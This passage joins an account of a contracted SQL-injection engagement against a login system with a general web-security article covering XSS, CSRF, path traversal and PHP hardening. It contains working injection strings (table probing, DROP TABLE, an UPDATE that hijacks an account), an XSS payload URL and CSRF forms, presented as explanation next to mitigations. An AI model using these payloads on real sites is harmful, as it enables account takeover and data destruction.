The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';  -- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
The web application user might not have INSERT permission on the members table.
There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell: Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.; What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure: Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.; Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.; One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input

It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.

The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.

Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:

abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+

There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.

Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about. The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses. Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.

Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):

SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!

In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.

Escape/Quotesafe the input

Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.

One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:

SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';  -- works OK

However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:

SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';  -- Boom!

The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.

Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.

Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).

These methods must be used.

Use bound parameters (the PREPARE statement)

Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.

Later, this prepared query is "executed" with a list of parameters:

Example in perl

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);

Thanks to Stefan Wagner, this demonstrates bound parameters in Java:

Insecure version

Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*

Secure version

PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();

Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.

There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.

Limit database permissions and segregate users

In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.

The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.

Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.

It should go almost without saying that sa rights should never be used for any web-based application.

Use stored procedures for database access

When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).

By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).

For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.

Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.

Isolate the webserver

Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.

For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.

Configure error reporting

The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.

This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.
Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (© 2005 by Chris Mospaw, used with permission).

Web Security: Are You Part Of The Problem?

2012-01-01T01:42:00.000-08:00

Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.
The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.
The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”
Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.
Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

[Editor's note: Have you already got your copy of the Smashing Book #2? The book shares valuable practical insight into design, usability and coding. Have a look at the contents.]

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available, and the numbers are telling:

PDF: Web Vulnerabilities Q1/Q2 2009.
Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.
Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.
All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.
Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.
Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

01<form name="f" action="/search">
02  <input type="hidden" value="en" name="hl"/>
03  <input type="hidden" value="hp" name="source"/>
04  <input name="q"/>
05  <input type="submit" name="btnG"/>
06  <input type="submit" name="btnI"/>
07  <input type="hidden" name="aq"/>
08  <input type="hidden" name="oq"/>
09  <input type="hidden" name="aqi"/>
10form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

`1`	`http://www.google.com/search?hl=en&source=hp&q=puppies&aq=f&oq=&aqi=`

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.
On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

`1`	`<a` `href="/search?hl=en&q=puppies&start=40strong>&sa=N">5a>`

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.
You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing, but neglecting to do so can be fatal for your website, as the following XKCD comic shows:

XKCD comic showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.
Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

01
02  // predefine colors to use
03  $color = 'white';
04  $background = 'black';
05  // if there is a parameter called color, use that one
06  if(isset($_GET['color'])){
07    $color = $_GET['color'];
08  }
09  // if there is a parameter called background, use that one
10  if(isset($_GET['background'])){
11    $background = $_GET['background'];
12  }
13?>
14 
15
26 
27"intro">Cool intro block, customizable, too!

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink. But because you allow any value for the variables, an attacker could send the following:

`1`	`http://example.com/test.php?color=green&background=style><script>alert(String.fromCharCode(88,83,83))script>`

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot: Large view Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on. XSS is a very common problem. Websites such as XSSED.org have a field day showing the world just how many websites are vulnerable: The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs: Large view I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

`1`	`http://www.example.com/cgi/food_db/db.cgi?db=default&uid=default&Category=Sandwiches&Subcategory=Sandwiches&Product=Chicken%20and%20Bacon&Soup_size=&Drinks_milk_type=&ww=on&view_records=yes`

which gave me all the information I needed to play around. The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google. You could search for, say, “index of /ebooks” to find electronic books online or “index of /photos” to find photos. To see search tests such as this one, check out the Google a Dream Come True article, which listed many of them in 2003(!). This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

01<form method="get" action="add_to_db.php">
02  <div>
03    <label for="name">Namelabel>
04    <input type="text" id="name" name="name">
05  div>
06  <div>
07    <label for="email">emaillabel>
08    <input type="text" id="email" name="email">
09  div>
10  <div>
11    <label for="comment">Commentlabel>
12    <textarea id="comment" name="comment">textarea>
13  div>
14  <div><input type="submit" value="tell me more">div>
15form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now. If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

`1`	`<img` `src="http://example.com/add_to_db.php?`

`2`	`name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help"` `width="1"` `height="1">`

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image. CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things. A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA). The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

`1`	`<a` `href="/app/delete_entry.php?id=12">deletea>`

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day. Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

1<form method="post" action="add_to_db.php">
2  <div>
3    <input type="hidden" name="name" value="bob">
4    <input type="hidden" name="email" value="bob@experts.com">
5    <input type="hidden" name="comment"
6           value="awesome article, buy cialis now!">
7  <input type="submit" value="see beautiful kittens now!">
8  div>
9form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard.

Remote File Inclusion (RFI)

With Remote file inclusion or code injection, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets). Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it. This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it. The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo. The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective. On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use.

Clickjacking

Clickjacking is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream: Twitter’s “Don’t Click” prank, explained Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5: By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick. Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect. In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder. There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter. Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi. So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

Create a new folder on the server; for example, pathtest.
Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
Check the folder in your browser; for example, by going to http://example.com/pathtest/
If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea. You can easily test if globals are enabled:

Create a new file named test.php.
Add the following code to it:

1 php echo "*".$ouch.'*';?>
Upload the file to your server.
Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
If your browser shows “*that hurts*”, then your server has globals registered.
Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

1if($_POST['username'] == 'muppet' &&
2   $_POST['password'] == 'password1') {
3    $authenticated = true;
4}
5if($authenticated) {
6  // do something only admins are allowed to do
7}

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers. Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named .

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed. But never leave this on a live server because it gives attackers a lot of details about your set-up! PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

HTML structures your content.
HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
HTML is fully visible.
Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
Hiding things doesn’t make them go away.
Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

1<select name="class">
2  <option value="ec">Economyoption>
3  <option value="ecp">Economy Plusoption>
4  
8select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

